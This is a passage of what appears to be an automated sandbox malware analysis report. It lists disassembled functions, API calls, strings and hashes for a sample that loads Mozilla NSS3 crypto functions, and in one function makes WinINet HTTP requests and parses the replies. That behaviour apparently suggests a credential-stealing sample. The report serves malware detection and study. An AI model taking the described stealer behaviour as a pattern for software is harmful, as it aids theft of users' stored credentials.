PR_Unlock.NSS3(00000000,?,?,?,?,6C74E477,?,?,?,00000001,00000000,?,?,6C753F23,?), ref: 6C752C93

Part of subcall function 6C7DDD70: TlsGetValue.KERNEL32 ref: 6C7DDD8C
Part of subcall function 6C7DDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C7DDDB4

TlsGetValue.KERNEL32(?,?,?,?,?,6C74E477,?,?,?,00000001,00000000,?,?,6C753F23,?), ref: 6C752CC6
EnterCriticalSection.KERNEL32(0000001C,?,?,?,?,?,6C74E477,?,?,?,00000001,00000000,?,?,6C753F23,?), ref: 6C752CDA
PL_HashTableLookup.NSS3(00000000,?,?,?,?,?,?,6C74E477,?,?,?,00000001,00000000,?,?,6C753F23), ref: 6C752CEA
PR_Unlock.NSS3(00000000,?,?,?,?,?,?,?,6C74E477,?,?,?,00000001,00000000,?), ref: 6C752CF7
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,6C74E477,?,?,?,00000001,00000000,?), ref: 6C752D4D
EnterCriticalSection.KERNEL32(?), ref: 6C752D61
PL_HashTableLookup.NSS3(?,?), ref: 6C752D71
PR_Unlock.NSS3(?), ref: 6C752D7E

Part of subcall function 6C7207A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C6B204A), ref: 6C7207AD
Part of subcall function 6C7207A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C6B204A), ref: 6C7207CD
Part of subcall function 6C7207A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C6B204A), ref: 6C7207D6
Part of subcall function 6C7207A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C6B204A), ref: 6C7207E4
Part of subcall function 6C7207A0: TlsSetValue.KERNEL32(00000000,?,6C6B204A), ref: 6C720864
Part of subcall function 6C7207A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C720880
Part of subcall function 6C7207A0: TlsSetValue.KERNEL32(00000000,?,?,6C6B204A), ref: 6C7208CB
Part of subcall function 6C7207A0: TlsGetValue.KERNEL32(?,?,6C6B204A), ref: 6C7208D7
Part of subcall function 6C7207A0: TlsGetValue.KERNEL32(?,?,6C6B204A), ref: 6C7208FB

Strings

#?ul, xrefs: 6C752C43

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: Value$CriticalSection$EnterHashLookupTableUnlock$calloc$Leave
String ID: #?ul
API String ID: 2446853827-2864242081
Opcode ID: 91d8df3459dcbe85948e1f4bea2c93d3cdbc124a18469ca359745cef073a47a0
Instruction ID: ccc1666e05388ab79a4b72491f9ed1df48fe5fc42d87916aaaed6cee4c2358f3
Opcode Fuzzy Hash: 91d8df3459dcbe85948e1f4bea2c93d3cdbc124a18469ca359745cef073a47a0
Instruction Fuzzy Hash: 0551F576D00604ABDB019F28DD4D8AA7778BF1925CB448534EC1997B12EB31ED68CBE1

Function 6C7AAD90 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C7AADB1

Part of subcall function 6C78BE30: SECOID_FindOID_Util.NSS3(6C74311B,00000000,?,6C74311B,?), ref: 6C78BE44

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C7AADF4
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C7AAE08

Part of subcall function 6C78B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C8618D0,?), ref: 6C78B095

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C7AAE25
PL_FreeArenaPool.NSS3 ref: 6C7AAE63
PR_CallOnce.NSS3(6C892AA4,6C7912D0), ref: 6C7AAE4D

Part of subcall function 6C6B4C70: TlsGetValue.KERNEL32(?,?,?,6C6B3921,6C8914E4,6C7FCC70), ref: 6C6B4C97
Part of subcall function 6C6B4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C6B3921,6C8914E4,6C7FCC70), ref: 6C6B4CB0
Part of subcall function 6C6B4C70: PR_Unlock.NSS3(?,?,?,?,?,6C6B3921,6C8914E4,6C7FCC70), ref: 6C6B4CC9

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C7AAE93
PR_CallOnce.NSS3(6C892AA4,6C7912D0), ref: 6C7AAECC
PL_FreeArenaPool.NSS3 ref: 6C7AAEDE
PL_FinishArenaPool.NSS3 ref: 6C7AAEE6
PR_SetError.NSS3(FFFFD004,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C7AAEF5
PL_FinishArenaPool.NSS3 ref: 6C7AAF16

Strings

security, xrefs: 6C7AADEE

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: ArenaPool$Util$AlgorithmCallErrorFinishFreeOnceTag_$CriticalDecodeDestroyEnterFindInitItem_PublicQuickSectionUnlockValue
String ID: security
API String ID: 3441714441-3315324353
Opcode ID: 08264affad70da20d6c312b83cba912dbb0886f6d2a4a4a6b9356e4f229fa3cd
Instruction ID: 07340ddb31ef344c62afacf9a4c106ef494d8369e54e381d36891b3b4aca9e00
Opcode Fuzzy Hash: 08264affad70da20d6c312b83cba912dbb0886f6d2a4a4a6b9356e4f229fa3cd
Instruction Fuzzy Hash: 18414CB2808200A7E7205BA89E4EBBA32AC9F5272CF104735E91492F51F735D619CFD3

Function 6C7C5CF0 Relevance: 22.7, APIs: 15, Instructions: 190COMMON

Download Yara Rule

APIs

Part of subcall function 6C7C2BE0: CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6C7C2A28,00000060,00000001), ref: 6C7C2BF0
Part of subcall function 6C7C2BE0: CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6C7C2A28,00000060,00000001), ref: 6C7C2C07
Part of subcall function 6C7C2BE0: SECKEY_DestroyPublicKey.NSS3(?,00000000,00000000,?,6C7C2A28,00000060,00000001), ref: 6C7C2C1E
Part of subcall function 6C7C2BE0: free.MOZGLUE(?,00000000,00000000,?,6C7C2A28,00000060,00000001), ref: 6C7C2C4A

free.MOZGLUE(?,?,6C7CAAD4,?,?,?,?,?,?,?,?,00000000,?,6C7C80C1), ref: 6C7C5D0F
free.MOZGLUE(?,?,?,6C7CAAD4,?,?,?,?,?,?,?,?,00000000,?,6C7C80C1), ref: 6C7C5D4E
free.MOZGLUE(?,?,?,6C7CAAD4,?,?,?,?,?,?,?,?,00000000,?,6C7C80C1), ref: 6C7C5D62
free.MOZGLUE(?,?,?,?,6C7CAAD4,?,?,?,?,?,?,?,?,00000000,?,6C7C80C1), ref: 6C7C5D85
free.MOZGLUE(?,?,?,?,6C7CAAD4,?,?,?,?,?,?,?,?,00000000,?,6C7C80C1), ref: 6C7C5D99
free.MOZGLUE(?,?,?,?,6C7CAAD4,?,?,?,?,?,?,?,?,00000000,?,6C7C80C1), ref: 6C7C5DFA
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,6C7CAAD4,?,?,?,?,?,?,?,?,00000000,?,6C7C80C1), ref: 6C7C5E33
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,6C7CAAD4,?,?,?,?,?,?,?,?,00000000), ref: 6C7C5E3E
free.MOZGLUE(?,?,?,?,?,?,6C7CAAD4,?,?,?,?,?,?,?,?,00000000), ref: 6C7C5E47
free.MOZGLUE(?,?,?,?,6C7CAAD4,?,?,?,?,?,?,?,?,00000000,?,6C7C80C1), ref: 6C7C5E60
SECITEM_ZfreeItem_Util.NSS3(00000008,00000000,?,?,?,6C7CAAD4,?,?,?,?,?,?,?,?,00000000), ref: 6C7C5E78
free.MOZGLUE(?,?,?,?,?,?,?,6C7CAAD4), ref: 6C7C5EB9
free.MOZGLUE(?,?,?,?,?,?,?,6C7CAAD4), ref: 6C7C5EF0
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,6C7CAAD4), ref: 6C7C5F3D
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6C7CAAD4), ref: 6C7C5F4B

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: free$Destroy$Public$CertificatePrivate$Item_UtilZfree
String ID:
API String ID: 4273776295-0
Opcode ID: 046283a9a9860cd09cdb5c4c338a188e7e0e6dc57cc2787c86ce8be7aa8c6d53
Instruction ID: e259cfdee9fb004f96f51ca499bd474a4c0d06f8029596fa9063cb21fad75898
Opcode Fuzzy Hash: 046283a9a9860cd09cdb5c4c338a188e7e0e6dc57cc2787c86ce8be7aa8c6d53
Instruction Fuzzy Hash: 7F71C3B4A00B019FD750CF24E989A9277B5FF89308F148638D81E87B11E732F959CB92

Function 6C748DE0 Relevance: 22.7, APIs: 15, Instructions: 173memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?), ref: 6C748E22
EnterCriticalSection.KERNEL32(?), ref: 6C748E36
memset.VCRUNTIME140(?,00000000,?), ref: 6C748E4F
calloc.MOZGLUE(00000001,?,?,?), ref: 6C748E78
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6C748E9B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C748EAC
PL_ArenaAllocate.NSS3(?,?), ref: 6C748EDE
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6C748EF0
memset.VCRUNTIME140(?,00000000,?), ref: 6C748F00
free.MOZGLUE(?), ref: 6C748F0E
memcpy.VCRUNTIME140(?,?,?), ref: 6C748F39
memset.VCRUNTIME140(?,00000000,?), ref: 6C748F4A
memset.VCRUNTIME140(?,00000000,?), ref: 6C748F5B
PR_Unlock.NSS3(?), ref: 6C748F72
PR_Unlock.NSS3(?), ref: 6C748F82

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: memset$memcpy$Unlock$AllocateArenaCriticalEnterSectionValuecallocfree
String ID:
API String ID: 1569127702-0
Opcode ID: 98962e367a3342318c8c1be4df5d946fd247cbb73f52fed70698c0971c207392
Instruction ID: f01b1588a23d30bf693d8c8dd5c8c1c18f908e7bc37a2cbb8c0363d8a15297aa
Opcode Fuzzy Hash: 98962e367a3342318c8c1be4df5d946fd247cbb73f52fed70698c0971c207392
Instruction Fuzzy Hash: 4251E3B2D00219AFDB109F68CE8496AB7B9EF45358F15853AEC08DBB01E731ED4587E1

Function 6C6BDC60 Relevance: 21.3, APIs: 9, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C6BDD56
memcpy.VCRUNTIME140(0000FFFE,?,?), ref: 6C6BDD7C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6C6BDE67
memcpy.VCRUNTIME140(0000FFFC,?,?), ref: 6C6BDEC4
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6BDECD

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6BDF6D, 6C6BDFCC, 6C6BDFDD
%s at line %d of [%.10s], xrefs: 6C6BDF7C, 6C6BDFEC
database corruption, xrefs: 6C6BDF77, 6C6BDFE7

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: memcpy$_byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2339628231-598938438
Opcode ID: 9290df6bdc26a81aa803aaa8463c87cc6b747132fedf4665b992bfcd812c021e
Instruction ID: 668001bbf3b5092001c319c3a8fbd43acac8bf43c90c86059fc68cd7883c5d9f
Opcode Fuzzy Hash: 9290df6bdc26a81aa803aaa8463c87cc6b747132fedf4665b992bfcd812c021e
Instruction Fuzzy Hash: 90A1F7716082019FC710CF29C880A6BB7F5EF85318F15892DF889AFB45D730E866CB99

Function 6C77EDD0 Relevance: 21.2, APIs: 14, Instructions: 239memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(?), ref: 6C77EE0B

Part of subcall function 6C790BE0: malloc.MOZGLUE(6C788D2D,?,00000000,?), ref: 6C790BF8
Part of subcall function 6C790BE0: TlsGetValue.KERNEL32(6C788D2D,?,00000000,?), ref: 6C790C15

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C77EEE1

Part of subcall function 6C771D50: TlsGetValue.KERNEL32(00000000,-00000018), ref: 6C771D7E
Part of subcall function 6C771D50: EnterCriticalSection.KERNEL32(?), ref: 6C771D8E
Part of subcall function 6C771D50: PR_Unlock.NSS3(?), ref: 6C771DD3

TlsGetValue.KERNEL32 ref: 6C77EE51
EnterCriticalSection.KERNEL32(?), ref: 6C77EE65
PR_Unlock.NSS3(?), ref: 6C77EEA2
free.MOZGLUE(?), ref: 6C77EEBB
PR_SetError.NSS3(00000000,00000000), ref: 6C77EED0
PR_Unlock.NSS3(?), ref: 6C77EF48
free.MOZGLUE(?), ref: 6C77EF68
PR_SetError.NSS3(00000000,00000000), ref: 6C77EF7D
PK11_DoesMechanism.NSS3(?,?), ref: 6C77EFA4
free.MOZGLUE(?), ref: 6C77EFDA
PR_SetError.NSS3(FFFFE040,00000000), ref: 6C77F055
free.MOZGLUE(?), ref: 6C77F060

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: Errorfree$UnlockValue$CriticalEnterSection$Alloc_DoesK11_MechanismUtilmalloc
String ID:
API String ID: 2524771861-0
Opcode ID: 9af17b7fb0511d93a79b79cb9033783c01e4083b708c72a6309ebd53a9d90943
Instruction ID: e136ae04ddbc646aeccd2566b898ae020487c38b79bbe7f7d022c2563f43f097
Opcode Fuzzy Hash: 9af17b7fb0511d93a79b79cb9033783c01e4083b708c72a6309ebd53a9d90943
Instruction Fuzzy Hash: 2B816071A00209AFEF109F68DD89ADE77B9BF09318F154434E919A3A11E771E924CBA1

Function 6C744CF0 Relevance: 21.2, APIs: 14, Instructions: 237memoryCOMMON

Download Yara Rule

APIs

PK11_SignatureLen.NSS3(?), ref: 6C744D80
PORT_Alloc_Util.NSS3(00000000), ref: 6C744D95
PORT_NewArena_Util.NSS3(00000800), ref: 6C744DF2
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C744E2C
PR_SetError.NSS3(FFFFE028,00000000), ref: 6C744E43
PORT_NewArena_Util.NSS3(00000800), ref: 6C744E58
SGN_CreateDigestInfo_Util.NSS3(00000001,?,?), ref: 6C744E85
DER_Encode_Util.NSS3(?,?,6C8905A4,00000000), ref: 6C744EA7
PK11_SignWithMechanism.NSS3(?,-00000001,00000000,?,?), ref: 6C744F17
DSAU_EncodeDerSigWithLen.NSS3(?,?,?), ref: 6C744F45
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C744F62
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C744F7A
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C744F89
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C744FC8

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: Util$Arena_$ErrorFreeItem_K11_WithZfree$Alloc_CreateDigestEncodeEncode_Info_MechanismSignSignature
String ID:
API String ID: 2843999940-0
Opcode ID: b84e302dd71d60a9d8291114f53aa13c2767130a08251461c55da528ccd4e8e7
Instruction ID: a0e01a3bdb72353ec9900397c4d9258553d16f6098a7a4a00c73970a82c80449
Opcode Fuzzy Hash: b84e302dd71d60a9d8291114f53aa13c2767130a08251461c55da528ccd4e8e7
Instruction Fuzzy Hash: 8E81B271904301AFE711CF24DE84B5AB7E8AB84358F19C52DF958DB641E730EA04EB92

Function 6C785C10 Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 221COMMON

Download Yara Rule

APIs

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?), ref: 6C785C9B
PR_SetError.NSS3(FFFFE043,00000000,?,?,?,?,?), ref: 6C785CF4
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?), ref: 6C785CFD
PR_smprintf.NSS3(tokens=[0x%x=<%s>],00000004,00000000,?,?,?,?,?,?), ref: 6C785D42
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?), ref: 6C785D4E
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C785D78
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C785E18
TlsGetValue.KERNEL32 ref: 6C785E5E
EnterCriticalSection.KERNEL32(?), ref: 6C785E72
PR_Unlock.NSS3(?), ref: 6C785E8B

Part of subcall function 6C77F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6C77F854
Part of subcall function 6C77F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6C77F868
Part of subcall function 6C77F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6C77F882
Part of subcall function 6C77F820: free.MOZGLUE(04C483FF,?,?), ref: 6C77F889
Part of subcall function 6C77F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6C77F8A4
Part of subcall function 6C77F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6C77F8AB
Part of subcall function 6C77F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6C77F8C9
Part of subcall function 6C77F820: free.MOZGLUE(280F10EC,?,?), ref: 6C77F8D0

Strings

d, xrefs: 6C785C36
tokens=[0x%x=<%s>], xrefs: 6C785D3D

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: free$CriticalSection$Delete$DestroyErrorModule$EnterR_smprintfUnlockValue
String ID: d$tokens=[0x%x=<%s>]
API String ID: 2028831712-1373489631
Opcode ID: 0c17825fe6120a0334f046d475a2d3172dabaf1060163ac9460339950d4a2f3d
Instruction ID: 4e5634a0f0414a6649c7929a70e0c08964050cb5336ead4ccd429d41d5365047
Opcode Fuzzy Hash: 0c17825fe6120a0334f046d475a2d3172dabaf1060163ac9460339950d4a2f3d
Instruction Fuzzy Hash: 3B7109B0A061059BFB509F29EE4976A3379AF4131CF140035EE1A9AB42E735E915CBE2

Function 00415510 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 138stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

Part of subcall function 004062D0: InternetOpenA.WININET(00420DFF,00000001,00000000,00000000,00000000), ref: 00406331
Part of subcall function 004062D0: StrCmpCA.SHLWAPI(?,02F6EBC8), ref: 00406353
Part of subcall function 004062D0: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406385
Part of subcall function 004062D0: HttpOpenRequestA.WININET(00000000,GET,?,02F76750,00000000,00000000,00400100,00000000), ref: 004063D5
Part of subcall function 004062D0: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 0040640F
Part of subcall function 004062D0: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00406421

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00415568
lstrlenA.KERNEL32(00000000), ref: 0041557F

Part of subcall function 00418FC0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00418FE2

StrStrA.SHLWAPI(00000000,00000000), ref: 004155B4
lstrlenA.KERNEL32(00000000), ref: 004155D3
strtok.MSVCRT(00000000,?), ref: 004155EE
lstrlenA.KERNEL32(00000000), ref: 004155FE

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Strings

ERROR, xrefs: 004156BF
ERROR, xrefs: 0041555A
lXA, xrefs: 0041570E, 004156D4, 00415697, 0041565A, 0041561E
ERROR, xrefs: 00415609
ERROR, xrefs: 00415682
ERROR, xrefs: 004156F9

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSendstrtok
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$lXA
API String ID: 3532888709-2643084821
Opcode ID: d3baa39c53511b2e5c65da600a6392413ec0037e3dfcc1f2cc4bc4ffc5205072
Instruction ID: 990a636b304bf614e487c778196146b6daa8d27d3f5f6fae7c13381180e093e6
Opcode Fuzzy Hash: d3baa39c53511b2e5c65da600a6392413ec0037e3dfcc1f2cc4bc4ffc5205072
Instruction Fuzzy Hash: B7518030A11148EBCB14FF61DDA6AED7339AF10354F50442EF50A671A1EF386B94CB5A

Function 6C776C30 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 58stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6C77781D,00000000,6C76BE2C,?,6C776B1D,?,?,?,?,00000000,00000000,6C77781D), ref: 6C776C40
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6C77781D,?,6C76BE2C,?), ref: 6C776C58
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6C77781D), ref: 6C776C6F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6C776C84
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6C776C96

Part of subcall function 6C721240: TlsGetValue.KERNEL32(00000040,?,6C72116C,NSPR_LOG_MODULES), ref: 6C721267
Part of subcall function 6C721240: EnterCriticalSection.KERNEL32(?,?,?,6C72116C,NSPR_LOG_MODULES), ref: 6C72127C
